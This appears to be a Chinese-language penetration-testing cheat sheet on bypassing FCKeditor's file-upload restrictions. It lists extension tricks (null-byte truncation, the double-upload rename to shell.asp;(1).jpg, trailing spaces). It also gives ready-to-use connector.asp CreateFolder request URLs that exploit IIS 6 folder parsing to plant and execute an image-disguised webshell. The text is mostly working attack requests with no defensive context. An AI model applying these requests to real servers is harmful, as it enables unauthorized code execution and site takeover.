FCKeditor 突破上传¶
上传限制
上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等
文件名限制
二次上传绕过
文件名‘ . ’
修改为‘ _ ’
FCK在上传了诸如shell.asp;.jpg
的文件后,会自动将文件名改为shell_asp;.jpg
。可以继续上传同名文件,文件名会变为shell.asp;(1).jpg
提交**shell.php+空格绕过**
提交**shell.php+空格绕过**
空格只支持windows系统,linux系统是不支持的,可提交**shell.php+空格**来绕过文件名限制。
iis6.0突破文件夹限制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
文件解析限制
通过Fckeditor编辑器在文件上传页面中,创建诸如1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。
http://url/images/upload/201806/image/1.asp/1.jpg